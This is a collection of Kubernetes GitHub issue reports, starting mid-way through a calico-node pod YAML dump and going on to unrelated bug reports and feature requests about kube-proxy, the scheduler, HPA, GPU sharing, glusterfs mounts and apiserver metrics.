in\r             values:\r             - ip-10-105-51-241.ec2.internal\r   containers:\r   - env:\r     - name: datastore_type\r       value: kubernetes\r     - name: felix_logseverityscreen\r       value: info\r     - name: cluster_type\r       value: k8s,bgp\r     - name: calico_disable_file_logging\r       value: \ true\ \r     - name: felix_defaultendpointtohostaction\r       value: accept\r     - name: felix_ipv6support\r       value: \ false\ \r     - name: felix_ipinipmtu\r       value: \ 1440\ \r     - name: wait_for_datastore\r       value: \ true\ \r     - name: calico_ipv4pool_cidr\r       value: 172.16.0.0/13\r     - name: calico_ipv4pool_ipip\r       value: crosssubnet\r     - name: felix_ipinipenabled\r       value: \ true\ \r     - name: felix_typhak8sservicename\r       valuefrom:\r         configmapkeyref:\r           key: typha_service_name\r           name: calico-config\r     - name: nodename\r       valuefrom:\r         fieldref:\r           apiversion: v1\r           fieldpath: spec.nodename\r     - name: ip\r       value: autodetect\r     - name: felix_healthenabled\r       value: \ true\ \r     image: quay.io/calico/node:v3.1.4\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 6\r       httpget:\r         path: /liveness\r         port: 9099\r         scheme: http\r       initialdelayseconds: 10\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 1\r     name: calico-node\r     readinessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /readiness\r         port: 9099\r         scheme: http\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 1\r     resources:\r       requests:\r         cpu: 250m\r     securitycontext:\r       privileged: true\r       procmount: default\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /lib/modules\r       name: lib-modules\r       readonly: true\r     - mountpath: /var/run/calico\r       name: var-run-calico\r     - mountpath: /var/lib/calico\r       name: var-lib-calico\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: calico-node-token-tsdd2\r       readonly: true\r   - command:\r     - /install-cni.sh\r     env:\r     - name: cni_conf_name\r       value: 10-calico.conflist\r     - name: cni_network_config\r       valuefrom:\r         configmapkeyref:\r           key: cni_network_config\r           name: calico-config\r     - name: kubernetes_node_name\r       valuefrom:\r         fieldref:\r           apiversion: v1\r           fieldpath: spec.nodename\r     image: quay.io/calico/cni:v3.1.4\r     imagepullpolicy: ifnotpresent\r     name: install-cni\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /host/opt/cni/bin\r       name: cni-bin-dir\r     - mountpath: /host/etc/cni/net.d\r       name: cni-net-dir\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: calico-node-token-tsdd2\r       readonly: true\r   dnspolicy: clusterfirst\r   enableservicelinks: true\r   hostnetwork: true\r   priority: 0\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: calico-node\r   serviceaccountname: calico-node\r   terminationgraceperiodseconds: 0\r   tolerations:\r   - effect: noschedule\r     operator: exists\r   - key: criticaladdonsonly\r     operator: exists\r   - effect: noexecute\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/disk-pressure\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/memory-pressure\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/unschedulable\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/network-unavailable\r     operator: exists\r   volumes:\r   - hostpath:\r       path: /lib/modules\r       type: \ \ \r     name: lib-modules\r   - hostpath:\r       path: /var/run/calico\r       type: \ \ \r     name: var-run-calico\r   - hostpath:\r       path: /var/lib/calico\r       type: \ \ \r     name: var-lib-calico\r   - hostpath:\r       path: /opt/cni/bin\r       type: \ \ \r     name: cni-bin-dir\r   - hostpath:\r       path: /etc/cni/net.d\r       type: \ \ \r     name: cni-net-dir\r   - name: calico-node-token-tsdd2\r     secret:\r       defaultmode: 420\r       secretname: calico-node-token-tsdd2\r status:\r   phase: pending\r   qosclass: burstable\r    \r \r </details>\r \r finally, here's the _node_ targeted by that pod:\r <details>\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/psp: privileged\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: 2018-11-27t15:32:40z\r   generatename: calico-node-\r   labels:\r     controller-revision-hash: cd68549c4\r     k8s-app: calico-node\r     pod-template-generation: \ 1\ \r   name: calico-node-grc48\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: apps/v1\r     blockownerdeletion: true\r     controller: true\r     kind: daemonset\r     name: calico-node\r     uid: 9e89275c-eabe-11e8-9dec-128456ada3d8\r   resourceversion: \ 1818402\ \r   selflink: /api/v1/namespaces/kube-system/pods/calico-node-grc48\r   uid: ad10bba9-f259-11e8-b12a-0e2a5cfd76fc\r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchfields:\r           - key: metadata.name\r             operator: in\r             values:\r             - ip-10-105-51-241.ec2.internal\r   containers:\r   - env:\r     - name: datastore_type\r       value: kubernetes\r     - name: felix_logseverityscreen\r       value: info\r     - name: cluster_type\r       value: k8s,bgp\r     - name: calico_disable_file_logging\r       value: \ true\ \r     - name: felix_defaultendpointtohostaction\r       value: accept\r     - name: felix_ipv6support\r       value: \ false\ \r     - name: felix_ipinipmtu\r       value: \ 1440\ \r     - name: wait_for_datastore\r       value: \ true\ \r     - name: calico_ipv4pool_cidr\r       value: 172.16.0.0/13\r     - name: calico_ipv4pool_ipip\r       value: crosssubnet\r     - name: felix_ipinipenabled\r       value: \ true\ \r     - name: felix_typhak8sservicename\r       valuefrom:\r         configmapkeyref:\r           key: typha_service_name\r           name: calico-config\r     - name: nodename\r       valuefrom:\r         fieldref:\r           apiversion: v1\r           fieldpath: spec.nodename\r     - name: ip\r       value: autodetect\r     - name: felix_healthenabled\r       value: \ true\ \r     image: quay.io/calico/node:v3.1.4\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 6\r       httpget:\r         path: /liveness\r         port: 9099\r         scheme: http\r       initialdelayseconds: 10\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 1\r     name: calico-node\r     readinessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /readiness\r         port: 9099\r         scheme: http\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 1\r     resources:\r       requests:\r         cpu: 250m\r     securitycontext:\r       privileged: true\r       procmount: default\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /lib/modules\r       name: lib-modules\r       readonly: true\r     - mountpath: /var/run/calico\r       name: var-run-calico\r     - mountpath: /var/lib/calico\r       name: var-lib-calico\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: calico-node-token-tsdd2\r       readonly: true\r   - command:\r     - /install-cni.sh\r     env:\r     - name: cni_conf_name\r       value: 10-calico.conflist\r     - name: cni_network_config\r       valuefrom:\r         configmapkeyref:\r           key: cni_network_config\r           name: calico-config\r     - name: kubernetes_node_name\r       valuefrom:\r         fieldref:\r           apiversion: v1\r           fieldpath: spec.nodename\r     image: quay.io/calico/cni:v3.1.4\r     imagepullpolicy: ifnotpresent\r     name: install-cni\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /host/opt/cni/bin\r       name: cni-bin-dir\r     - mountpath: /host/etc/cni/net.d\r       name: cni-net-dir\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: calico-node-token-tsdd2\r       readonly: true\r   dnspolicy: clusterfirst\r   enableservicelinks: true\r   hostnetwork: true\r   priority: 0\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: calico-node\r   serviceaccountname: calico-node\r   terminationgraceperiodseconds: 0\r   tolerations:\r   - effect: noschedule\r     operator: exists\r   - key: criticaladdonsonly\r     operator: exists\r   - effect: noexecute\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/disk-pressure\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/memory-pressure\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/unschedulable\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/network-unavailable\r     operator: exists\r   volumes:\r   - hostpath:\r       path: /lib/modules\r       type: \ \ \r     name: lib-modules\r   - hostpath:\r       path: /var/run/calico\r       type: \ \ \r     name: var-run-calico\r   - hostpath:\r       path: /var/lib/calico\r       type: \ \ \r     name: var-lib-calico\r   - hostpath:\r       path: /opt/cni/bin\r       type: \ \ \r     name: cni-bin-dir\r   - hostpath:\r       path: /etc/cni/net.d\r       type: \ \ \r     name: cni-net-dir\r   - name: calico-node-token-tsdd2\r     secret:\r       defaultmode: 420\r       secretname: calico-node-token-tsdd2\r status:\r   phase: pending\r   qosclass: burstable\r    \r \r </details>\r \r if i delete one of these pending pods, the _daemonset_ creates a fresh one in its place, and the scheduler places it, causing the node to become \ ready.\  this is when things are \ calm\  in the cluster, when the node count has stabilized.\r \r   environment  :\r -   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-beta.2\ , gitcommit:\ a4ff09c41589c48547e04f85391aa5610ebe0e17\ , gittreestate:\ clean\ , builddate:\ 2018-11-23t00:55:34z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-beta.2\ , gitcommit:\ a4ff09c41589c48547e04f85391aa5610ebe0e17\ , gittreestate:\ clean\ , builddate:\ 2018-11-23t00:47:47z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r -   cloud provider or hardware configuration  :  \r   aws ec23\r -   os    e.g. from /etc/os-release :  \r    \r id=coreos\r version=1911.3.0\r version_id=1911.3.0\r build_id=2018-11-05-1815\r pretty_name=\ container linux by coreos 1911.3.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r -   kernel    e.g.  uname -a  :  \r    linux ip-10-105-51-211 4.14.78-coreos  1 smp mon nov 5 17:42:07 utc 2018 x86_64 intel r  xeon r  platinum 8175m cpu @ 2.50ghz genuineintel gnu/linux \r - install tools:  \r   _kubeadm init_, _kubeadm join_\r \r <!-- do not edit below this line -->\r 

i believe i’m having an intermittent but serious problem which can be described as: 1. hot pods with incorrect cpu/memory limits can cause a node to run out of memory/cpu. 2. node becomes generally unresponsive for most processes ssh, kubelet, kube-proxy , but is still able to route traffic. 3. kube-proxy is unable to update properly causing routing to be inconsistent with the desired state especially with many highly dynamic services . 4. node starts routing traffic to incorrect pods because of inconsistency. 5. random pods receive improperly routed traffic.  i am running v1.2.1 with iptables on aws using kube-up.sh.  my current hack is to detect unresponsive nodes and terminate them, but that is reactive and slow.  i understand i should set better cpu/memory limits, but there is always the possibility of a pod that swamps a node, so that isn’t a permanent solution.  perhaps the solution is to have kube-proxy and kubelet run with a high enough  that they are guaranteed to run.  thoughts from slack chat with @justinsb  - we should also look at not reusing pod ips, so the traffic will be dropped  i.e. never misroute  - it sounds like we're not doing that - and then we should look at detecting dropped packets and using that to remove iptables routes maybe. - we could stop routing if we were totally out of date with the control plane, but that would probably be a cascading failure

hi,forums when i run go install in cmd/kube-apiserver, then start this binary, the service always failed with panic 0x305bb20, 0xc8203cb430  /usr/local/go/src/runtime/panic.go:481 +0x3e6 flag. flagset .var 0xc820088300, 0x7f9dde6366a0, 0xc8203cb3e0, 0x42546b0, 0x7, 0x4714660, 0x2f  /usr/local/go/src/flag/flag.go:776 +0x454 flag. flagset .stringvar 0xc820088300, 0xc8203cb3e0, 0x42546b0, 0x7, 0x0, 0x0, 0x4714660, 0x2f  /usr/local/go/src/flag/flag.go:679 +0xc7 flag.  flagset .string 0xc820088300, 0x42546b0, 0x7, 0x0, 0x0, 0x4714660, 0x2f, 0xc8203cb3d0  /usr/local/go/src/flag/flag.go:692 +0x83 flag.string 0x42546b0, 0x7, 0x0, 0x0, 0x4714660, 0x2f, 0x7f9dde5b4d00  /usr/local/go/src/flag/flag.go:699 +0x5f github.com/golang/glog.init   /opt/k8s/src/github.com/golang/glog/glog_file.go:41 +0x13e k8s.io/client-go/1.4/pkg/labels.init   /opt/k8s/src/k8s.io/client-go/1.4/pkg/labels/selector.go:822 +0x5b k8s.io/client-go/1.4/pkg/api/unversioned.init   /opt/k8s/src/k8s.io/client-go/1.4/pkg/api/unversioned/zz_generated.deepcopy.go:390 +0x6f k8s.io/client-go/1.4/pkg/api.init   /opt/k8s/src/k8s.io/client-go/1.4/pkg/api/zz_generated.deepcopy.go:3749 +0x6e k8s.io/client-go/1.4/rest.init   /opt/k8s/src/k8s.io/client-go/1.4/rest/versions.go:88 +0x75 k8s.io/kubernetes/plugin/pkg/client/auth/gcp.init   /opt/k8s/src/k8s.io/kubernetes/plugin/pkg/client/auth/gcp/gcp.go:119 +0x59 k8s.io/kubernetes/plugin/pkg/client/auth.init   /opt/k8s/src/k8s.io/kubernetes/plugin/pkg/client/auth/plugins.go:23 +0x3b k8s.io/kubernetes/pkg/client/unversioned.init   /opt/k8s/src/k8s.io/kubernetes/pkg/client/unversioned/util.go:79 +0xe7 k8s.io/kubernetes/pkg/controller/serviceaccount.init   /opt/k8s/src/k8s.io/kubernetes/pkg/controller/serviceaccount/tokens_controller.go:746 +0xa8 k8s.io/kubernetes/cmd/kube-apiserver/app.init   /opt/k8s/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:310 +0x107 main.init   /opt/k8s/src/k8s.io/kubernetes/cmd/kube-apiserver/apiserver.go:54 +0x4f  even doing the steps below: 1 run godep restore  godep  in the client-go/1.4 folder, then remove the vendor folder of client-go. then the packages in your gopath will be the only copy 2 or run godep save in your application folder to flatten all dependencies.  the problems can not be resolved, how can i do to solve this, thks.

following up on thokin's commend on  36760 we should add a deprecated annotation with enough information for user to find the replacement.\r \r > @mbohlool we should probably consider another annotation on fields and structs to indicate that they are deprecated, but we need to spec not just that it is deprecated, but also where to find more information, and maybe when or what what api version it will stop working in.\r \r cc @thokin @kubernetes/sig-api-machinery

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r v1.6.0-alpha.3 \r \r   environment  :\r -   cloud provider or hardware configuration  : in our compony baremator system\r -   os    e.g. from /etc/os-release : ubuntu 14.04.1 lts\r -   kernel    e.g.  uname -a  : 4.2.0-27-generic\r -   install tools  : kubefed init\r -   others  :\r \r \r   what happened  :\r \r https://github.com/kubernetes/kubernetes/blob/master/federation/pkg/kubefed/init/init.go\r line 625 :   image: \ gcr.io/google_containers/etcd:3.0.14-alpha.1\ .\r \r i think it is a hard core, we can't change this image.\r for our environment, we cannot connect google containers image, we just can use our private docker repository. but for kubefed init, it should be able to set etcd image option.\r \r   what you expected to happen  :\r kubefed init --etcdimage=''\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r

does it make any sense to extract the \ pod\  code into a place that could potentially be combined with docker itself  i say potentially, as the docker project may prefer to leave this out - as a 3rd party tool .   the need to stand up 3 containers for a single app is pretty common - for example - discourse has a setup that stands up a few containers to run their app on a single node: https://github.com/discourse/discourse_docker  the pod concept  at least some of it  may be able to be separated - avoiding a proliferation of formats/tricks to do essentially the same thing.

is this a bug report or feature request?: feature request\r \r  \r request:\r for some kind bussiness, the service is heavy during a certain time period, like 9:00am-10:00am in every workday, much more http requests than other time, if hpa support to upscale pods to a absolute value set by user during this period and downscale after period, it will be very useful for this scenario.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r ipvs sheduler options has no validation. for example, if we pass an unsupported  --ipvs-scheduler  option e.g.  foo   for kube-proxy, it will cause unexpected error.\r \r   what you expected to happen  :\r \r should validate ipvs sheduler options.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area kube-proxy\r

i'm using openid connect tokens to authenticate to the kubernetes platform. i ran into unauthorized errors because the default openid connect tokens  id_token  didn't have all required fields.\r in the docs  https://kubernetes.io/docs/admin/authentication/ openid-connect-tokens  i couldn't find any details what the kubernetes authenticator expected so i had to figure it out myself. i think this documentation can be expanded with the fields required in the id_token.\r \r required fields  as far as i could test :\r    email   i use this as username \r    email_verified \r    groups \r \r the missing  email_verified  field was causing the error.

as we have add  listener  to  secureservingoptions  , we should stop using function like  findfreelocalport  in test cases and create a listener and pass to  secureservingoptions  .\r \r because  findfreelocalport  just create a tcp listener and get its port and close it. by this we can not make sure the port not be used between this listener close and the kube-apiserver listener start.\r \r

 \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r   what happened  :\r \r i have several servers with two nics, one 1gb/s nic for ethernet connetion with external ip, one 10gb/s nic with internal ip for data communication. and i created a k8s cluster. when i finished, \ kubectl get nodes -o wide\   will show:\r \r name      status    roles     age       version   internal-ip      external-ip   os-image             kernel-version      container-runtime\r ananke    ready     master    10m       v1.11.2   192.168.0.101    <none>        ubuntu 16.04.4 lts   4.15.0-33-generic   docker://17.3.0\r erebos    ready     <none>    8m        v1.11.2   192.168.0.105    <none>        ubuntu 16.04.4 lts   4.15.0-33-generic   docker://17.3.0\r phanes    ready     <none>    8m        v1.11.2   192.168.0.107   <none>        ubuntu 16.04.4 lts   4.15.0-33-generic   docker://17.3.0\r \r it is fine. i think the 10gb/s cluster is there. but when i run application. the traffic are seen only on the 1gb/s nic with external ip but not the 10gb/s nic where i created the cluster.\r \r   what you expected to happen  :\r \r i expect to see the traffic on the nic that i created the k8s cluster\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r build the cluster with servers that have 1gb/s and 10gb/s port. set the static internal ip for the 10gb/s nic, created the cluster on the internal ip. use flannel to configure the network. run applicaitons. check the traffic\r \r   anything else we need to know?  :\r \r i use flannel to configure the network. is the problme of the flannnel?\r \r   environment  :\r - kubernetes version  use  kubectl version  :   v1.11.2\r - cloud provider or hardware configuration:  dell poweredge r210 with interl nic\r - os  e.g. from /etc/os-release :                   ubuntu 16.04 lts\r - kernel  e.g.  uname -a  :                           4.15.0-33-generic    \r - install tools:                                            ansible\r - others:\r

i have questions about cluster ip address. i am looking for interface which has the cluster ip address.\r \r i have single master and two worker nodes over ubuntu 16.04\r \r i run \ kubectl get services\  on master node\r \r -------------------------------result ---------------------------------------------------\r name                    type           cluster-ip      external-ip   port s           age\r crenet-front-httpd-lb   loadbalancer   10.97.245.143   <pending>     8080:31392/tcp   3h29m\r kubernetes              clusterip      10.96.0.1       <none>        443/tcp          4h3m\r \r \r i run \ ip netns list\  and \ ip netns exec <xxxx> ip -d addr show\  on every nodes.\r however, i can not find out interface \ 10.97.245.143\  ip address attached.\r \r also, i want to know about this flow, <physical interface ip address>:31392 --> 10.97.245.143:8080\r i can not find out the rule with \ iptables -nvl, iptable -t nat -vnl or iptable -t mangle -nvl\ \r how can i look the policy for this?\r \r 1. the interface which has \ cluster ip address\ \r 2. the element which distribute the traffic \ cluster ip:8080 --> pods\ \r 3. the rule policy which \ phyiscal interface:31392 --> cluster ip:8080\ \r \r i can not verify these with linux cli.\r \r     \r  \r \r

in my cluster, i meet a race condition issue which i think happened in kube-scheduler. here is my phenomena: - my minion node has cidr for docker at /27 which allows 32 docker ips. - the pod has been scheduled to one minion node but could not start as expected with the following docker error message:        13m   13m     1       {kubelet kubernetes-minion-100-5034}               failedsync      error syncing pod, skipping: api error  500 : cannot start container 26a68f65a401512f52c75cec3d61ec3a51693dd1774c0ffeb0bc0dc99d09b44f: no available ip addresses on network    12m   12m     1       {kubelet kubernetes-minion-100-5034}       implicitly required container pod       failed  failed to start with docker id c6d5e43d1e59 with error: api error  500 : cannot start container c6d5e43d1e59f399c80e45b4fc74acb7f1031e936f1e233a13b9009bebc7772a: no available ip addresses on network     - i logon to my minion and find that there are already 30 containers running. so the new scheduled pod could not get available ip address.  i checked  kube-scheduler  source code and find that it does the following things: 1. get node information 2. find nodes that fit the pod requirements 3. select one node from prioritized node list i would assume there is race condition in these steps, that the problem node was not report its status at the right time. and scheduler schedule the new pod to it.  would it be make sense to have a double check before  return g.selecthost prioritylist  ?

the kubernetes scheduler  prevents scheduling  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l233  of  more than 16   https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithmprovider/defaults/defaults.go l36  google compute engine  gce /google container engine  gke   persistentdisks  pds  to the same node  a round about way of trying to prevent too many pods requiring gce pds from getting scheduled on to the same node .  problems with this: - gce now supports a variable number of pds attached to a node   up to 128 disks  https://cloud.google.com/compute/docs/disks/ increased_persistent_disk_limits  for machines with 8 or more cores . - when a pod referencing a gce pd is deleted the scheduler immediately discounts it even though the volume may still be attached to the node. - the same limit is applied to all nodes in the cluster, i.e. it assumes the cluster is homogeneous.  work around: - set the   kube_max_pd_vols   https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithmprovider/defaults/defaults.go l40  environment variable on the master with the desired value.  we need to consider if we want to remove the  newmaxpdvolumecountpredicate  from the scheduler all together? if not, how do we support different limits based on the type of nodes?  cc @kubernetes/sig-storage

i think that it is not neccessary to set a default value to horizontalpodautoscaler.spec.cpuutilization, because some users only want to do horizon pod autoscale with custom metrics.

code 202 means \ the request has been accepted for processing, but the processing has not been completed\ .  in k8s, the delete operation is asynchronous in two cases: 1. a graceful deletion of pod. 2. the object has pending finalizers. in both cases the object remains in the key-value store after the api server responds. the api server should return 202 in such cases. i haven't evaluated if such a change is backward compatible.  @mml @lavalamp @kubernetes/sig-api-machinery

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r gpu\r ---\r \r   is this a bug report or feature request?    choose one :\r bug maybe\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r \r -->\r \r   kubernetes version    use  kubectl version  :\r 1.6.1\r \r   environment  :\r -   cloud provider or hardware configuration  : bare-metal\r -   os    e.g. from /etc/os-release : ubuntu \r -   kernel    e.g.  uname -a  : 4.4\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r i submit some gpu job and find out that some different container are using the same gpu\r below is the    nvidia-smi pmon    output, we can see that device 7 is occupied by process 41470 and 45265, they belong to different container.\r ! 2017-05-19 11 36 10  https://cloud.githubusercontent.com/assets/2142864/26232654/420bf5a8-3c8a-11e7-91b7-125e0682aa11.png \r \r \r   what you expected to happen  :\r as the doc said https://kubernetes.io/docs/tasks/manage-gpus/scheduling-gpus/\r   containers  and pods  do not share gpus.  \r \r   how to reproduce it    as minimally and precisely as possible :\r find a gpu-enabled cluster and run multiple job based on this yaml\r \r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: gpu-mnist-example-nvidia1235fd6556\r   labels:\r     name: gpu-mnist-example-nvidia\r spec:\r   parallelism: 1\r   template:\r     metadata:\r       labels:\r         name: gpu-mnist-example-nvidia\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: nvidia-gpu-type\r                 operator: in\r                 values:\r                 - \ tesla-k80\ \r               - key: nvidia-driver-version\r                 operator: in\r                 values:\r                 - \ 375.66\ \r       containers:\r       - name: gpu-mnist-example\r         image: alexwei/gpu-mnist:0.1.1\r         args:\r         - python3\r         - mnist_deep.py\r         - --data_dir=./mnist_data\r         imagepullpolicy: ifnotpresent\r         securitycontext:\r           privileged: false\r         resources:\r           requests:\r             alpha.kubernetes.io/nvidia-gpu: 1\r           limits:\r             alpha.kubernetes.io/nvidia-gpu: 1\r         volumemounts:\r         - mountpath: /usr/local/nvidia\r           name: lib\r           readonly: true\r       volumes:\r       - name: lib\r         hostpath:\r           path: /var/lib/nvidia-docker/volumes/nvidia_driver/latest\r       restartpolicy: never\r    \r   anything else we need to know  :\r

issue: it looks like,  1.7.3 glusterfs plugin is broken  due to the  auto_unmount  option in the mount argument. \r \r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t-------------\t--------\t------\t\t-------\r   5h\t\t54s\t\t173\tkubelet, k8s-bootcamp-rbac-np-worker-6263f70\t\t\twarning\t\tfailedmount\t combined from similar events : mountvolume.setup failed for volume \ pvc-fa4b2621-7dad-11e7-8a44-062df200059f\  : glusterfs: mount failed: mount failed: exit status 1\r mounting command: mount\r mounting arguments: 159.100.242.235:vol_7a312f660490387c94cfaf84bce81bca /var/lib/kubelet/pods/fa4c6540-7dad-11e7-8a44-062df200059f/volumes/kubernetes.io~glusterfs/pvc-fa4b2621-7dad-11e7-8a44-062df200059f glusterfs  auto_unmount log-level=error log-file=/var/lib/kubelet/plugins/kubernetes.io/glusterfs/pvc-fa4b2621-7dad-11e7-8a44-062df200059f/es-data-log-distributed-0-glusterfs.log backup-volfile-servers=159.100.240.237:159.100.242.156:159.100.242.235 \r output: /usr/bin/fusermount-glusterfs: mount failed: invalid argument\r mount failed. please check the log file for more details.\r \r  the following error information was pulled from the glusterfs log to help diagnose this issue:\r  2017-08-10 15:02:12.260168  w  glusterfsd.c:1095:cleanup_and_exit   -->/lib/x86_64-linux-gnu/libc.so.6 clone+0x6d   0x7f3e2477c62d   -->/lib/x86_64-linux-gnu/libpthread.so.0 +0x8064   0x7f3e24e43064   -->/usr/sbin/glusterfs glusterfs_sigwaiter+0xdd   0x4073bd     0-: received signum  15 , shutting down\r  2017-08-10 15:02:12.260189  i  fuse-bridge.c:5475:fini  0-fuse: unmounting '/var/lib/kubelet/pods/fa4c6540-7dad-11e7-8a44-062df200059f/volumes/kubernetes.io~glusterfs/pvc-fa4b2621-7dad-11e7-8a44-062df200059f'.\r \r   5h\t32s\t151\tkubelet, k8s-bootcamp-rbac-np-worker-6263f70\t\twarning\tfailedmount\tunable to mount volumes for pod \ es-data-log-distributed-0_monitoring fa4c6540-7dad-11e7-8a44-062df200059f \ : timeout expired waiting for volumes to attach/mount for pod \ monitoring\ /\ es-data-log-distributed-0\ . list of unattached/unmounted volumes= es-data \r   5h\t32s\t163\tkubelet, k8s-bootcamp-rbac-np-worker-6263f70\t\twarning\tfailedsync\terror syncing pod\r \r \r    \r \r \r we have got https://github.com/kubernetes/kubernetes/pull/49381/ in 1.7.3 as a cherry pick. \r \r my current assumption is that  : \r \r this patch expects  an error string  invalid  option auto_unmount  and only if it satisfy, we are removing the  auto_unmount  from the strings.  from above error it looks to me that, the error was  invalid argument  instead of  invalid option auto_unmount . \r

i'm seeing a large number of unique prometheus series showing up  due to the logging we added for anonymous reflectors .\r \r    \r \r reflector_storage_cacher_go:_registry_sdnnetnamespaces_2264_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_storage_cacher_go:_registry_sdnnetworks_2265_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_storage_cacher_go:_registry_sdnsubnets_2263_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_storage_cacher_go:_replicasets_2299_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1130133\r reflector_storage_cacher_go:_resourcequotas_2278_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_storage_cacher_go:_rolebindingrestrictions_2275_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_storage_cacher_go:_rolebindings_2304_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1250058\r reflector_storage_cacher_go:_roles_2303_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_storage_cacher_go:_routes_2269_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1250034\r 